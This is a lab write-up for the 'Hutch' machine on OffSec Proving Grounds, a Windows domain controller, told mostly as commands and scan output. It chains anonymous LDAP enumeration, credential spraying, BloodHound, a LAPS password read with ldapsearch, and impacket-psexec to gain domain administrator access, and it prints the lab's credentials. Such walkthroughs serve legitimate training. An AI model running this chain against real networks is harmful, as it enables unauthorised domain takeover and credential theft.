Proving Grounds: Hutch Write-up

192.168.164.122

Enumeration

sudo nmap -sCV -p- -Pn -T4 -oN nmap $IP --open
Nmap scan report for 192.168.164.122
Host is up (0.24s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/10.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
|_  Server Date: Fri, 03 Jul 2026 14:04:48 GMT
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-03 14:03:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
50227/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-07-03T14:04:50
|_  start_date: N/A
|_clock-skew: -17s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Starting from the top down, make sure to add the domain to your /etc/hosts

DNS

dig @192.168.164.122 axfr hutch.offsec

No domain transfer :(

HTTP

sudo nmap -Pn -p 80 --script vuln $IP
feroxbuster -u http://hutch.offsec -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --scan-dir-listings -s 404

LDAP

nxc ldap $IP -u '' -p '' --users

GUEST login is allowed!!

Bang! We got a login!

fmcsorley / CrabSharkJellyfish192

Now that we have credentials it’s good practice to spray them

NetSpray all $IP -u fmcsorley -p CrabSharkJellyfish192

Hits back with SMB and LDAP

Let’s see if we can get domain information with bloodhound

bloodhound-python --dns-tcp -ns $IP -d hutch.offsec -u 'fmcsorley' -p 'CrabSharkJellyfish192' -c all

Start up bloodhound:

sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up

Login at localhost:8080 and upload the files.

This is peak, as you can see we can literally read the admin password. Ldapsearch has an ability for this.

ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

There at the bottom!

Now that we have the administrator of the domain, we can use PSEXEC.

impacket-psexec HUTCH/Administrator:"G3%rpDfgMj4{Pf"@192.168.164.122

And we did it! Keep in mind, I only assumed the admin share was writable. Good practice so you don’t waste time is to check netexec smb with –shares to make sure that the admin share is writable first.

← all writeups